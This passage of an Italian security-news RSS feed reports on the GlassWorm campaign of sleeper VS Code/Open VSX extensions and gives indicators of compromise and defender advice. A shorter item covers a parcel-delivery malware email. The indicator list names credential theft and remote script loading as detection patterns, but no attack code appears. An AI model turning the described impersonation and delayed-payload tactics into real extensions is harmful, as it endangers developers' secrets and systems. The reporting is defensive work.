tardo 2024, con escalation progressive che si sono succedute nel corso del 2025-2026. A dicembre 2025 furono rilevate le prime 24 estensioni impersonatrici; a febbraio 2026 si scoprì che un account sviluppatore compromesso era stato usato per propagare il malware; a marzo 2026 la campagna scalò a 72 estensioni attive su Open VSX con diffusione tramite abuso di dipendenze. L’ondata di aprile 2026 rappresenta dunque l’evoluzione più sofisticata finora osservata.Gli obiettivi rimangono costanti: furto di segreti di sviluppo (API key, token, credenziali), svuotamento di wallet di criptovalute, e trasformazione dei sistemi infetti in proxy per ulteriori attività criminali. Il target primario sono sviluppatori che lavorano su macOS, Linux e Windows con ambienti basati su VS Code o suoi fork.Tecniche di attacco: la profondità della sleeper strategyL’analisi di Socket rivela una serie di pattern tecnici ricorrenti nell’attuale cluster di 73 estensioni. I publisher sono account GitHub neonati, con una o due repository pubbliche: una repository vuota con nome composto da otto caratteri casuali e una contenente il codice dell’estensione. Questo pattern serve a superare le verifiche di identità del marketplace, che richiedono un profilo GitHub associato.Le estensioni impersonano utility popolari — ad esempio il language pack turco per VS Code — usando la stessa icona, un nome simile e contenuti copiati dal pacchetto legittimo. Una volta guadagnata la fiducia degli utenti, la delivery del malware avviene in due modalità principali: aggiornamento diretto dell’estensione per includere codice offuscato, oppure aggiunta di una dipendenza da un’estensione separata che contiene il loader GlassWorm, sfruttando il fatto che l’installazione di un’estensione può portare all’installazione automatica di tutte le sue dipendenze dichiarate.I payload attivati al momento includono: VSIX malevoli ospitati su GitHub, binari nativi firmati con certificati rubati, JavaScript offuscato con tecniche di code splitting per sfuggire all’analisi statica. Il loader GlassWorm, una volta eseguito nell’ambiente VS Code, ha accesso allo stesso filesystem, alle variabili d’ambiente e ai token di sessione dell’IDE — un privilegio enorme che permette di esfiltrare le credenziali di ogni servizio cloud configurato nello strumento di sviluppo.Contesto più ampio: l’ecosistema VS Code come vettore sistemicoGlassWorm rappresenta un sintomo di una vulnerabilità strutturale: gli ecosistemi di estensioni per editor di codice sono intrinsecamente difficili da proteggere. A differenza dei package manager come npm o PyPI, dove esiste una cultura più consolidata di analisi della sicurezza, i marketplace di estensioni IDE tendono ad avere meccanismi di revisione più leggeri e una percezione del rischio più bassa da parte degli utenti. Un desarrollatore che installa un’estensione VS Code raramente si chiede se stia introducendo un RAT nella propria workstation.La tecnica della sleeper extension è particolarmente insidiosa perché richiede pazienza da parte dell’attaccante — una caratteristica tipica di campagne sponsorizzate da attori con risorse significative. Non è ancora stata stabilita un’attribuzione definitiva per GlassWorm, ma il livello di sofisticazione e persistenza suggerisce un gruppo criminale strutturato o un attore nation-state interessato alla compromissione di pipeline di sviluppo software.Indicatori di compromissione (IoC)# Pattern publisher malevoli (account GitHub)
- Account con repository vuota a nome di 8 caratteri esadecimali
- Account creati tra gennaio e aprile 2026 senza storia pubblica

# Pattern nomi estensioni sospette (esempi noti)
- Estensioni che impersonano language pack (es. Turkish Language Pack for VSCode)
- Estensioni con nomi che differiscono di un carattere da quelle legittime

# Comportamenti runtime sospetti
- Lettura di variabili d'ambiente (PATH, HOME, credenziali cloud)
- Connessioni in uscita verso bucket S3 su us-east-2 o us-west-2
- Caricamento dinamico di script da URL GitHub Raw

# Repository di tracking
https://socket.dev/glassworm-v2  (lista aggiornata estensioni maligne)Consigli per i difensoriPer chi gestisce ambienti di sviluppo, alcune misure concrete. Prima di tutto, applicare policy di allowlist per le estensioni VS Code/VSCodium approvate, impedendo l’installazione di estensioni non verificate dall’organizzazione. Monitorare con strumenti come Socket o Phylum le dipendenze dei progetti, incluse quelle delle estensioni IDE. Configurare il traffico di rete delle workstation degli sviluppatori per rilevare connessioni anomale verso S3 bucket sconosciuti o hostname Heroku. Abilitare la telemetria degli IDE aziendali e integrarla nel SIEM per rilevare accessi insoliti al keychain o alle variabili d’ambiente. Infine, considerare l’adozione di ambienti di sviluppo containerizzati o in sandbox, dove l’impatto di un’estensione compromessa è limitato al container.Socket mantiene una pagina dedicata al tracking di GlassWorm v2 con l’elenco aggiornato delle estensioni malevole identificate: consultarla periodicamente è una misura di igiene minima per chi usa Open VSX. La campagna è ancora attiva e il numero di sleeper non ancora attivati — stimato in oltre 60 — suggerisce che il peggio non sia ancora avvenuto.]]></description><link>https://forum.androidiani.net/topic/d32d6fd4-585e-485f-962a-ec3e77fbf50f/glassworm-muta-ancora-73-estensioni-sleeper-su-open-vsx-pronte-a-svegliarsi-come-malware</link><guid isPermaLink="true">https://forum.androidiani.net/topic/d32d6fd4-585e-485f-962a-ec3e77fbf50f/glassworm-muta-ancora-73-estensioni-sleeper-su-open-vsx-pronte-a-svegliarsi-come-malware</guid><dc:creator><![CDATA[blog@insicurezzadigitale.com]]></dc:creator><pubDate>Sun, 26 Apr 2026 18:11:56 GMT</pubDate></item><item><title><![CDATA[Avviso di consegna pacco con malware allegato]]></title><description><![CDATA[Avviso di consegna pacco con malware allegatoGli esperti di Malwarebytes hanno rilevato una nuova campagna malware che sfrutta note società di logistica per ingannare gli utenti. Il trucco è vecchio, ma ancora molto efficace. I cybercriminali inviano via email un avviso di consegna per un pacco con un allegato infetto. Lo scopo è installare un tool di accesso remoto sul computer.@sicurezza #malware#sicurezzaonline #sicurezzainformatica https://www.punto-informatico.it/avviso-consegna-pacco-malware-allegato/]]></description><link>https://forum.androidiani.net/topic/2d2e48c1-aa63-4abb-9a92-a74e58346838/avviso-di-consegna-pacco-con-malware-allegato</link><guid isPermaLink="true">https://forum.androidiani.net/topic/2d2e48c1-aa63-4abb-9a92-a74e58346838/avviso-di-consegna-pacco-con-malware-allegato</guid><dc:creator><![CDATA[grub_09@mastodon.uno]]></dc:creator><pubDate>Mon, 20 Apr 2026 08:42:31 GMT</pubDate></item></channel></rss>